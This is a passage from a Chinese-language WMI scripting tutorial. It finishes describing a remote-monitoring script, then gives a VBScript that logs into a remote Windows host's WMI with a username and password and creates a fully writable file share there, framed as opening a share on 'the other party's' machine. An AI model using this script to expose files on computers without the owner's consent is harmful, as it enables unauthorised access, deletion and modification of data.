3 )在代碼中出現的另外一個核心對象就是 FileSystemObject ,應該是大家的老朋友了吧,我這裏就不再做解釋了,我們在這裏應用它主要是爲了將結果同時保存到一
個文件中,我們利用它來創建或打開一個文件,將信息追加進去。
4 )至於那個 NOW ,雖然體積很小,但是卻正是它給我們提供了時間這個重要的信息。
5 )如果你想要監視的是自己的計算機而不是遠程的計算機(據我所知,這個應用還是很廣的)。那麼請將計算機名的參數寫爲一個小點,用戶名和密碼留爲空。如下所
示:
monitor . "" "" C:/1.txt
2 .任務五:利用腳本給對方開放共享
有了任務四的基礎,這次我們就先看代碼吧:
Set colArgs = WScript.Arguments
If WScript.arguments.count < 5 then
WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strPath = wscript.arguments(3)
strShareName = wscript.arguments(4)
intMaximumAllowed = 1
strDescription = "Temporary share"
Const SHARED_FOLDER = 0
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root/cimv2",strUser,strPwd)
Set objSWbemObject = wbemServices.Get("Win32_Share")
intReturnvalue = objSWbemObject.Create(strPath, _
strShareName, _
SHARED_FOLDER, _
intMaximumAllowed, _
strDescription)
if(intReturnvalue = 0) Then
WScript.Echo "The share have been created successfully"
End If
解說:
1 )我們可以看出來前面的那幾行是爲顯示幫助和處理輸入參數而存在的。
2 )緊接着設置了幾個變量,爲以後做參數用的。這裏我們可以先不理會它。
3 )連接到主機的 WMI ,然後就是查詢。前面已經說的很詳細了。
4 )這次得到實例集後,我們用了它的一個方法,也就是這個方法讓共享成爲了可能,聯繫到第二部分的內容,我們不難知道第一個參數表示要共享的路徑和文件名,第
二個參數表示共享名,第三個參數爲 0 就可以了,第四個參數是指可以連接的人數,第五個參數是共享描述了,而我們只關心前面的兩個參數。如果手頭有 MSDN 那就好
辦了,到 MSDN 中可以查到該方法的更詳細的內容。
5 )這次我們根據第四步的返回值來得到共享是否成功,並給出提示。不同的返回值代表不同的意義。這個信息在 MSDN 中可以很清楚地查到。比如 0 代表成功返回, 2
代表拒絕訪問, 9 代表用戶名錯誤, 25 代表主機名沒有找到等等。
6 )這次我們要注意的是,用這個腳本來實現遠程文件共享,要求遠程存在這個文件,否則無法共享。當然你也可以利用教本創建自己的文件夾,很容易的,自己創建吧
。
7 )如上腳本創建後的共享是完全共享。就是可以刪除修改文件的。
8 )用法舉例: share netp net swswsw C:/dodo marsh
好了,到現在爲止,大家應該對這位朋友有些瞭解了,我的介紹任務也就告一段落了,如果大家想進一步認識它,那就主要靠大家的主動性了。這次我們主要通過 WMIC
和腳本來認識它,下次我將帶領大家通過真正的程序代碼來認識它,讓它也有個象 Windows 一樣漂亮的臉蛋。今天我所提到的估計只能算是 WMI 的萬分之一,都算不上
是冰山一角。剩餘的要靠自己來發揮了。如果你肯利用你的所學,那麼奇蹟就會產生。